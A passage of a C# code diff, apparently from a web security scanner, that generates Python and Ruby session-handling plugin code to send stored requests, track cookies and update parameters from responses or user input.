RequestBinaryString = Request.FromProxyLog(Int32.Parse(ID)).ToBinaryString(); + break; + case ("Probe"): + RequestBinaryString = Request.FromProbeLog(Int32.Parse(ID)).ToBinaryString(); + break; + case ("Test"): + RequestBinaryString = Request.FromTestLog(Int32.Parse(ID)).ToBinaryString(); + break; + case ("Shell"): + RequestBinaryString = Request.FromShellLog(Int32.Parse(ID)).ToBinaryString(); + break; + case ("Scan"): + RequestBinaryString = Request.FromScanLog(Int32.Parse(ID)).ToBinaryString(); + break; + default: + RequestBinaryString = Request.FromLog(Int32.Parse(ID), Source).ToBinaryString(); + break; + } + RequestDeclarationName = string.Format("{0}_req_{1}", Label, ReqCounter); + RequestDeclarationValue = string.Format("Request.FromBinaryString('{0}')#{1}-{2}", RequestBinaryString, Source, ID); + RequestDeclarationsInCode[Label][RequestDeclarationName] = RequestDeclarationValue; + + Py.Append(" "); Py.AppendLine(string.Format("#Getting request with name '{0}' from the stored values", RequestName)); + Py.Append(" "); Py.AppendLine(string.Format("req_{0} = self.reqs['{1}_req_{0}'].GetClone()", ReqCounter, Label)); + Py.Append(" "); Py.AppendLine(string.Format("req_{0}.SetSource(self.Name + 'SP')", ReqCounter)); + Py.Append(" "); Py.AppendLine(string.Format("req_{0}.SetCookie(self.cookie_store)", ReqCounter)); + + Rb.Append(" "); Rb.AppendLine(string.Format("#Getting request with name '{0}' from the stored values", RequestName)); + Rb.Append(" "); Rb.AppendLine(string.Format("req_{0} = @reqs['{1}_req_{0}'].get_clone", ReqCounter, Label)); + Rb.Append(" "); Rb.AppendLine(string.Format("req_{0}.set_source(name + 'SP')", ReqCounter)); + Rb.Append(" "); Rb.AppendLine(string.Format("req_{0}.set_cookie(@cookie_store)", ReqCounter)); + } + else if (PseudoCodeLine.Equals("GetRequest ToInject")) + { + MaxCounter = ReqCounter; + Py.Append(" "); Py.AppendLine("#Update the cookies of the request from the Cookie store"); + Py.Append(" "); Py.AppendLine("req.SetCookie(self.cookie_store)"); + + Rb.Append(" "); Rb.AppendLine("#Update the cookies of the request from the Cookie store"); + Rb.Append(" "); Rb.AppendLine("req.set_cookie(@cookie_store)"); + } + else + { + throw new Exception("Invalid Pseudo Code"); + } + } + else if (PseudoCodeLine.Equals("SendRequest")) + { + ResCounter++; + Py.Append(" "); Py.AppendLine(string.Format("res_{0} = None", ResCounter)); + Py.Append(" "); Py.AppendLine("try:"); + Py.Append(" "); Py.AppendLine(string.Format("res_{0} = req_{1}.Send()", ResCounter, ReqCounter)); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace(req_{0}, 'Sent \\'{1}\\'', 'The \\'{2}\\' request has been successfully sent. Click on the load request/response button to view this request and its response.')", ReqCounter, RequestNames[RequestNames.Count - 1], RequestNames[RequestNames.Count - 1])); + Py.Append(" "); Py.AppendLine("except Exception as e:"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace(req_{0}, 'Error sending \\'{1}\\'', e.Message)", ReqCounter, RequestNames[RequestNames.Count - 1])); + Py.Append(" "); Py.AppendLine("raise e"); + Py.Append(" "); Py.AppendLine(string.Format("self.cookie_store.Add(req_{0}, res_{1})", ReqCounter, ResCounter)); + + Rb.Append(" "); Rb.AppendLine(string.Format("res_{0} = nil", ResCounter)); + Rb.Append(" "); Rb.AppendLine("begin"); + Rb.Append(" "); Rb.AppendLine(string.Format("res_{0} = req_{1}.send_req", ResCounter, ReqCounter)); + Rb.Append(" "); Rb.AppendLine(string.Format("Trace(req_{0}, 'Sent \\'{1}\\'', 'The \\'{2}\\' request has been successfully sent. Click on the load request/response button to view this request and its response.')", ReqCounter, RequestNames[RequestNames.Count - 1], RequestNames[RequestNames.Count - 1])); + Rb.Append(" "); Rb.AppendLine("rescue => e"); + Rb.Append(" "); Rb.AppendLine(string.Format("Trace(req_{0}, 'Error sending \\'{1}\\'', e.Message)", ReqCounter, RequestNames[RequestNames.Count - 1])); + Rb.Append(" "); Rb.AppendLine("raise e"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine(string.Format("@cookie_store.add(req_{0}, res_{1})", ReqCounter, ResCounter)); + } + else if (PseudoCodeLine.StartsWith("UpdateRequest")) + { + string CurrentRequestParameterName = ""; + string CurrentResponseParameterName = ""; + if (ReqCounter == MaxCounter) + CurrentRequestParameterName = "req";//request to inject + else + CurrentRequestParameterName = string.Format("req_{0}", ReqCounter); + if (ResCounter == 0) + CurrentResponseParameterName = "res";//response from injection + else + CurrentResponseParameterName = string.Format("res_{0}", ResCounter); + ParamCounter++; + string[] ParametersUpdateCode = ParametersUpdatePseudoCodeToCode(Label, PseudoCodeLine, CurrentRequestParameterName, CurrentResponseParameterName, ParamCounter, RequestNames); + Py.Append(ParametersUpdateCode[0]); + Rb.Append(ParametersUpdateCode[1]); + } + } + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + Code[2] = ReqCounter.ToString(); + Code[3] = ResCounter.ToString(); + return Code; + } + string[] ParametersUpdatePseudoCodeToCode(string Label, string PseudoCodeLine, string RequestParameterName, string ResponseParameterName, int ParamCounter, List RequestNames) + { + string[] Code = new string[4]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + + StringBuilder PySpl = new StringBuilder(); + StringBuilder RbSpl = new StringBuilder(); + + string CurrentRequestName = ""; + string PreviousRequestName = ""; + + string PreviousRequestParameterName = ResponseParameterName.Replace("res", "req"); + + if (ResponseParameterName.Equals("res")) + { + PreviousRequestName = "Main Request"; + } + else if (RequestNames.Count > 1) + { + PreviousRequestName = RequestNames[RequestNames.Count - 2]; + } + else + { + PreviousRequestName = "Unnamed Request"; + } + if (RequestParameterName.Equals("req")) + { + CurrentRequestName = "Main Request"; + if (RequestNames.Count > 0) + { + PreviousRequestName = RequestNames[RequestNames.Count - 1]; + } + else + { + PreviousRequestName = "Unnamed Request"; + } + } + else if (RequestNames.Count > 0) + { + CurrentRequestName = RequestNames[RequestNames.Count - 1]; + } + else + { + CurrentRequestName = "Unnamed Request"; + } + + + Regex ParameterUpdateRegex = new Regex(@"UpdateRequest (UrlPathPart|Query|Body|Cookie|Header) (.+?) From (LastResponse|User) (Html|Regex|Hint)(.*)"); + + Match M = ParameterUpdateRegex.Match(PseudoCodeLine); + //"UpdateRequest (UrlPathPart|Query|Body|Cookie|Header) (.+?) From (LastResponse|User) (Html|Regex|Hint)(.*)" + if (M.Success) + { + + string RequestSection = M.Groups[1].Value; + string ParameterName = M.Groups[2].Value; + string UpdateFrom = M.Groups[3].Value; + string UpdateType = M.Groups[4].Value; + string RegexValueOrHint = M.Groups[5].Value; + if (RegexValueOrHint.Length > 1) RegexValueOrHint = RegexValueOrHint.Substring(1); + + string CurrentParameterValueVariableName = string.Format("param_value_{0}", ParamCounter); + if (UpdateFrom.Equals("LastResponse")) + { + if (UpdateType.Equals("Html")) + { + Py.Append(" "); Py.AppendLine(string.Format("{0} = None", CurrentParameterValueVariableName)); + Py.Append(" "); Py.AppendLine("try:"); + Py.Append(" "); Py.AppendLine("#Extract the parameter value from the HTML Form fields by parameter name"); + Py.Append(" "); Py.AppendLine(string.Format("{0} = {1}.Html.GetValues('input', 'name', '{2}', 'value')[0]", CurrentParameterValueVariableName, ResponseParameterName, ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Reading parameter value from response of \\'{1}\\'', 'Read the response HTML input field with name {2} and got the value -' + {3} + '\\r\\n\\r\\nClick on the load request/response button to view this response.')", PreviousRequestParameterName, PreviousRequestName, ParameterName, CurrentParameterValueVariableName)); + Py.Append(" "); Py.AppendLine("except Exception as e:"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error reading parameter value from response of \\'{1}\\'', 'There are no HTML input fields in the response with the name \\'{2}\\' that have a valid value attribute.\\r\\n\\r\\nClick on the load request/response button to view this response.')", PreviousRequestParameterName, PreviousRequestName, ParameterName)); + Py.Append(" "); Py.AppendLine("raise e"); + Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods + + Rb.Append(" "); Rb.AppendLine(string.Format("{0} = nil", CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("begin"); + Rb.Append(" "); Rb.AppendLine("#Extract the parameter value from the HTML Form fields by parameter name"); + Rb.Append(" "); Rb.AppendLine(string.Format("{0} = {1}.html.get_values('input', 'name', '{2}', 'value')[0]", CurrentParameterValueVariableName, ResponseParameterName, ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Reading parameter value from response of \'{1}\'', 'Read the response HTML input field with name {2} and got the value -' + {3} + ""\r\n\r\nClick on the load request/response button to view this response."")", PreviousRequestParameterName, PreviousRequestName, ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("rescue => e"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error reading parameter value from response of \'{1}\'', 'There are no HTML input fields in the response with the name \'{2}\' that have a valid value attribute' + ""\r\n\r\nClick on the load request/response button to view this response."")", PreviousRequestParameterName, PreviousRequestName, ParameterName)); + Rb.Append(" "); Rb.AppendLine("raise e"); + Rb.Append(" "); Rb.AppendLine("end"); + } + else if (UpdateType.Equals("Regex")) + { + RegexValueOrHint = RegexValueOrHint.Substring(1, RegexValueOrHint.Length - 2).Replace("'", "\\'"); + + Py.Append(" "); Py.AppendLine(string.Format("{0} = None", CurrentParameterValueVariableName)); + Py.Append(" "); Py.AppendLine("try:"); + Py.Append(" "); Py.AppendLine("#Extract the parameter value from the Response body using Regex"); + Py.Append(" "); Py.AppendLine(string.Format("{0} = re.search('{1}', {2}.BodyString).groups()[0]", CurrentParameterValueVariableName, RegexValueOrHint, ResponseParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Reading parameter value from response of \\'{1}\\'', 'Parsed the response with the regex \\'{2}\\' and got the value -' + {3} + '.\\r\\n Using this to update the {4} parameter.\\r\\n\\r\\nClick on the load request/response button to view this response.')", PreviousRequestParameterName, PreviousRequestName, RegexValueOrHint, CurrentParameterValueVariableName, ParameterName)); + Py.Append(" "); Py.AppendLine("except Exception as e:"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error reading parameter value from response of \\'{1}\\'', 'There are no matches for the regex \\'{2}\\' in the response, unable to update the {3} parameter.\\r\\n\\r\\nClick on the load request/response button to view this response.')", PreviousRequestParameterName, PreviousRequestName, RegexValueOrHint, ParameterName)); + Py.Append(" "); Py.AppendLine("raise e"); + Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods + + Rb.Append(" "); Rb.AppendLine(string.Format("{0} = nil", CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("begin"); + Rb.Append(" "); Rb.AppendLine("#Extract the parameter value from the Response body using Regex"); + Rb.Append(" "); Rb.AppendLine(string.Format("{0} = {1}.body_string.scan(/{2}/)[0][0]", CurrentParameterValueVariableName, ResponseParameterName, RegexValueOrHint)); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Reading parameter value from response of \'{1}\'', 'Parsed the response with the regex \'{2}\' and got the value -' + {3} + ""\r\nUsing this to update the {4} parameter\r\n\r\nClick on the load request/response button to view this response."")", PreviousRequestParameterName, PreviousRequestName, RegexValueOrHint, CurrentParameterValueVariableName, ParameterName)); + Rb.Append(" "); Rb.AppendLine("rescue => e"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error reading parameter value from response of \'{1}\'', 'There are no matches for the regex \'{2}\' in the response, unable to update the {3} parameter' + ""\r\n\r\nClick on the load request/response button to view this response."")", PreviousRequestParameterName, PreviousRequestName, RegexValueOrHint, ParameterName)); + Rb.Append(" "); Rb.AppendLine("raise e"); + Rb.Append(" "); Rb.AppendLine("end"); + } + } + else if (UpdateFrom.Equals("User")) + { + Py.Append(" "); Py.AppendLine("#Get the parameter value from the user at runtime"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace(None, 'Asking the user for parameter value', 'A prompt was thrown to the user along with a hint to enter the value of the {0} parameter')", ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("{0} = AskUser.ForString('Enter the parameter value for Session Plugin:', self.get_ask_user_message_format('{1}', '{2}', '{3}'))", CurrentParameterValueVariableName, RequestSection, ParameterName, RegexValueOrHint)); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace(None, 'Got parameter value from the user', 'A prompt was thrown to the user and the user entered the value -' + {0} + '.\\r\\n Using this to update the {1} parameter.')", CurrentParameterValueVariableName, ParameterName)); + + Rb.Append(" "); Rb.AppendLine("#Get the parameter value from the user at runtime"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace(nil, 'Asking the user for parameter value', 'A prompt was thrown to the user along with a hint to enter the value of the {0} parameter')", ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("{0} = AskUser.for_string('Enter the parameter value for Session Plugin:', get_ask_user_message_format('{1}', '{2}', '{3}'))", CurrentParameterValueVariableName, RequestSection, ParameterName, RegexValueOrHint)); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace(nil, 'Got parameter value from the user', 'A prompt was thrown to the user and the user entered the value -' + {0} + ""\r\nUsing this to update the {1} parameter."")", CurrentParameterValueVariableName, ParameterName)); + } + switch (RequestSection) + { + case ("UrlPathPart"): + Py.Append(" ");Py.AppendLine("#Update the Url path part field with new value"); + Py.Append(" "); Py.AppendLine(string.Format("upp = {0}.UrlPathParts", RequestParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("if {0} < len(upp):", ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("upp[{0}] = {1}", ParameterName, CurrentParameterValueVariableName)); + Py.Append(" "); Py.AppendLine(string.Format("{0}.UrlPathParts = upp", RequestParameterName)); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request contains only ' + str(len(upp)) + ' UrlPathParts so could not update at position {3}. (Please note that UrlPathParts positions are zero-based so first position is 0, second is 1 and so on)\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Py.Append(" "); Py.AppendLine("raise Exception('Error updating request urlpathpart parameter')"); + Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods + PySpl.Append(Py.ToString()); + + Rb.Append(" ");Rb.AppendLine("#Update the Url path part field with new value"); + Rb.Append(" "); Rb.AppendLine(string.Format("upp = {0}.url_path_parts", RequestParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("if {0} < upp.count", ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("upp[{0}] = {1}", ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine(string.Format("{0}.url_path_parts = upp", RequestParameterName)); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request contains only ' + upp.count.to_s + ' UrlPathParts so could not update at position {3}. (Please note that UrlPathParts positions are zero-based so first position is 0, second is 1 and so on)' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Rb.Append(" "); Rb.AppendLine("raise 'Error updating request urlpathpart parameter'"); + Rb.Append(" "); Rb.AppendLine("end"); + RbSpl.Append(Rb.ToString()); + break; + case ("Query"): + //Update the query parameter of specified request + Py.Append(" ");Py.AppendLine("#Update the Query parameter with the new value"); + Py.Append(" "); Py.AppendLine(string.Format("if {0}.Query.Has('{1}'):", RequestParameterName, ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("{0}.Query.Set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request does not contain the query parameter {3}\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Py.Append(" "); Py.AppendLine("raise Exception('Error updating request query parameter')"); + Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods + PySpl.Append(Py.ToString()); + + Rb.Append(" ");Rb.AppendLine("#Update the Query parameter with the new value"); + Rb.Append(" "); Rb.AppendLine(string.Format("if {0}.query.has('{1}')", RequestParameterName, ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("{0}.query.set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request does not contain the query parameter {3}' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Rb.Append(" "); Rb.AppendLine("raise 'Error updating request query parameter'"); + Rb.Append(" "); Rb.AppendLine("end"); + RbSpl.Append(Rb.ToString()); + + if (RequestParameterName.Equals("req")) + { + //Update the query parameter of all requests that have this parameter + Py.Append(" "); Py.AppendLine("#Update the Query parameter of the other requests that have the same parameter with the new value"); + Py.Append(" "); Py.AppendLine("for r_n in self.reqs.keys():"); + Py.Append(" "); Py.AppendLine(string.Format("if self.reqs[r_n].Query.Has('{0}'):", ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("self.reqs[r_n].Query.Set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); + + Rb.Append(" "); Rb.AppendLine("#Update the Query parameter of the other requests that have the same parameter with the new value"); + Rb.Append(" "); Rb.AppendLine("for r_n in @reqs.keys"); + Rb.Append(" "); Rb.AppendLine(string.Format("if @reqs[r_n].query.has('{0}')", ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("@reqs[r_n].query.set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + } + break; + case ("Body"): + //Update the body parameter of specified request + Py.Append(" ");Py.AppendLine("#Update the Body parameter with the new value"); + Py.Append(" "); Py.AppendLine(string.Format("if {0}.Body.Has('{1}'):", RequestParameterName, ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("{0}.Body.Set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request does not contain the body parameter {3}\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Py.Append(" "); Py.AppendLine("raise Exception('Error updating request body parameter')"); + Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods + PySpl.Append(Py.ToString()); + + Rb.Append(" ");Rb.AppendLine("#Update the Body parameter with the new value"); + Rb.Append(" "); Rb.AppendLine(string.Format("if {0}.body.has('{1}')", RequestParameterName, ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("{0}.body.set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request does not contain the body parameter {3}' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Rb.Append(" "); Rb.AppendLine("raise 'Error updating request body parameter'"); + Rb.Append(" "); Rb.AppendLine("end"); + RbSpl.Append(Rb.ToString()); + + if (RequestParameterName.Equals("req")) + { + //Update the body parameter of all requests that have this parameter + Py.Append(" "); Py.AppendLine("#Update the Body parameter of the other requests that have the same parameter with the new value"); + Py.Append(" "); Py.AppendLine("for r_n in self.reqs.keys():"); + Py.Append(" "); Py.AppendLine(string.Format("if self.reqs[r_n].Body.Has('{0}'):", ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("self.reqs[r_n].Body.Set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); + + Rb.Append(" "); Rb.AppendLine("#Update the Body parameter of the other requests that have the same parameter with the new value"); + Rb.Append(" "); Rb.AppendLine("for r_n in @reqs.keys"); + Rb.Append(" "); Rb.AppendLine(string.Format("if @reqs[r_n].body.has('{0}')", ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("@reqs[r_n].body.set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + + } + break; + case ("Cookie"): + //Update the cookie parameter of specified request + Py.Append(" ");Py.AppendLine("#Update the Cookie parameter with the new value"); + Py.Append(" "); Py.AppendLine(string.Format("if {0}.Cookie.Has('{1}'):", RequestParameterName, ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("{0}.Cookie.Set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request does not contain the cookie parameter {3}\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Py.Append(" "); Py.AppendLine("raise Exception('Error updating request cookie parameter')"); + Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods + PySpl.Append(Py.ToString()); + + Rb.Append(" ");Rb.AppendLine("#Update the Cookie parameter with the new value"); + Rb.Append(" "); Rb.AppendLine(string.Format("if {0}.cookie.has('{1}')", RequestParameterName, ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("{0}.cookie.set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request does not contain the cookie parameter {3}' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Rb.Append(" "); Rb.AppendLine("raise 'Error updating request cookie parameter'"); + Rb.Append(" "); Rb.AppendLine("end"); + RbSpl.Append(Rb.ToString()); + + if (RequestParameterName.Equals("req")) + { + //Update the cookie parameter of all requests that have this parameter + Py.Append(" "); Py.AppendLine("#Update the Cookie parameter of the other requests that have the same parameter with the new value"); + Py.Append(" "); Py.AppendLine("for r_n in self.reqs.keys():"); + Py.Append(" "); Py.AppendLine(string.Format("if self.reqs[r_n].Cookie.Has('{0}'):", ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("self.reqs[r_n].Cookie.Set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); + + Rb.Append(" "); Rb.AppendLine("#Update the Cookie parameter of the other requests that have the same parameter with the new value"); + Rb.Append(" "); Rb.AppendLine("for r_n in @reqs.keys"); + Rb.Append(" "); Rb.AppendLine(string.Format("if @reqs[r_n].cookie.has('{0}')", ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("@reqs[r_n].cookie.set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + } + break; + case ("Header"): + //Update the header parameter of specified request + Py.Append(" ");Py.AppendLine("#Update the Header parameter with the new value"); + Py.Append(" "); Py.AppendLine(string.Format("if {0}.Headers.Has('{1}'):", RequestParameterName, ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("{0}.Headers.Set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request does not contain the header parameter {3}\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Py.Append(" "); Py.AppendLine("raise Exception('Error updating request header parameter')"); + Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods + PySpl.Append(Py.ToString()); + + Rb.Append(" ");Rb.AppendLine("#Update the Header parameter with the new value"); + Rb.Append(" "); Rb.AppendLine(string.Format("if {0}.headers.has('{1}')", RequestParameterName, ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("{0}.headers.set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request does not contain the header parameter {3}' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); + Rb.Append(" "); Rb.AppendLine("raise 'Error updating request header parameter'"); + Rb.Append(" "); Rb.AppendLine("end"); + RbSpl.Append(Rb.ToString()); + + if (RequestParameterName.Equals("req")) + { + //Update the header parameter of all requests that have this parameter + Py.Append(" "); Py.AppendLine("#Update the Header parameter of the other requests that have the same parameter with the new value"); + Py.Append(" "); Py.AppendLine("for r_n in self.reqs.keys():"); + Py.Append(" "); Py.AppendLine(string.Format("if self.reqs[r_n].Headers.Has('{0}'):", ParameterName)); + Py.Append(" "); Py.AppendLine(string.Format("self.reqs[r_n].Headers.Set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); + + Rb.Append(" "); Rb.AppendLine("#Update the Header parameter of the other requests that have the same parameter with the new value"); + Rb.Append(" "); Rb.AppendLine("for r_n in @reqs.keys"); + Rb.Append(" "); Rb.AppendLine(string.Format("if @reqs[r_n].headers.has('{0}')", ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format("@reqs[r_n].headers.set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + } + break; + } + + if (RequestParameterName.Equals("req") && !UpdateFrom.Equals("User")) + { + UpdateToInjectRequestMethodCounter++; + Py.Append(" "); Py.AppendLine("#Store this response to update other primary requests later"); + Py.Append(" "); Py.AppendLine(string.Format("self.ress[{0}] = {1}", UpdateToInjectRequestMethodCounter, ResponseParameterName)); + + Rb.Append(" "); Rb.AppendLine("#Store this response to update other primary requests later"); + Rb.Append(" "); Rb.AppendLine(string.Format("@ress[{0}] = {1}", UpdateToInjectRequestMethodCounter, ResponseParameterName)); + + StringBuilder PyMethodDec = new StringBuilder(); + StringBuilder RbMethodDec = new StringBuilder(); + + PyMethodDec.Append(" "); PyMethodDec.AppendLine(string.Format("def update_req_{0}(self, req):", UpdateToInjectRequestMethodCounter)); + PyMethodDec.Append(" "); PyMethodDec.AppendLine(string.Format("if not self.ress.has_key({0}):", UpdateToInjectRequestMethodCounter)); + PyMethodDec.Append(" "); PyMethodDec.AppendLine("return req"); + PyMethodDec.Append(" "); PyMethodDec.AppendLine(string.Format("{0} = self.ress[{1}]", ResponseParameterName, UpdateToInjectRequestMethodCounter)); + + string RawPySpl = PySpl.ToString(); + StringBuilder TrimmedPySpl = new StringBuilder(); + foreach(string RawPySplLine in RawPySpl.Split(new string[]{Environment.NewLine}, StringSplitOptions.None)) + { + string TrimmedLine = RawPySplLine.TrimStart(); + //Only add lines that don't have trace or exception throwing code + if (!(TrimmedLine.StartsWith("self.Trace(") || TrimmedLine.StartsWith("raise "))) + { + TrimmedPySpl.AppendLine(RawPySplLine); + } + } + + PyMethodDec.Append(TrimmedPySpl.ToString()); + PyMethodDec.Append(" "); PyMethodDec.AppendLine("return req"); + + RbMethodDec.Append(" "); RbMethodDec.AppendLine(string.Format("def update_req_{0}(req)", UpdateToInjectRequestMethodCounter)); + RbMethodDec.Append(" "); RbMethodDec.AppendLine(string.Format("if not @ress.has_key?({0})", UpdateToInjectRequestMethodCounter)); + RbMethodDec.Append(" "); RbMethodDec.AppendLine("return req"); + RbMethodDec.Append(" "); RbMethodDec.AppendLine("end"); + RbMethodDec.Append(" "); RbMethodDec.AppendLine(string.Format("{0} = @ress[{1}]", ResponseParameterName, UpdateToInjectRequestMethodCounter)); + + string RawRbSpl = RbSpl.ToString(); + StringBuilder TrimmedRbSpl = new StringBuilder(); + foreach (string RawRbSplLine in RawRbSpl.Split(new string[] { Environment.NewLine }, StringSplitOptions.None)) + { + string TrimmedLine = RawRbSplLine.TrimStart(); + //Only add lines that don't have trace or exception throwing code + if (!(TrimmedLine.StartsWith("Trace(") || TrimmedLine.StartsWith("raise "))) + { + TrimmedRbSpl.AppendLine(RawRbSplLine); + } + } + + RbMethodDec.Append(TrimmedRbSpl.ToString()); + RbMethodDec.Append(" "); RbMethodDec.AppendLine("return req"); + RbMethodDec.Append(" "); RbMethodDec.AppendLine("end"); + + UpdateToInectRequestMethodPyDeclarations[UpdateToInjectRequestMethodCounter] = PyMethodDec.ToString(); + UpdateToInectRequestMethodRbDeclarations[UpdateToInjectRequestMethodCounter] = RbMethodDec.ToString(); + } + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + else + { + throw new Exception("Invalid Pseudo Code"); + } + } + string[] ResponseSignaturePseudoCodeToCode(string Label, List PseudoCodeLines, string 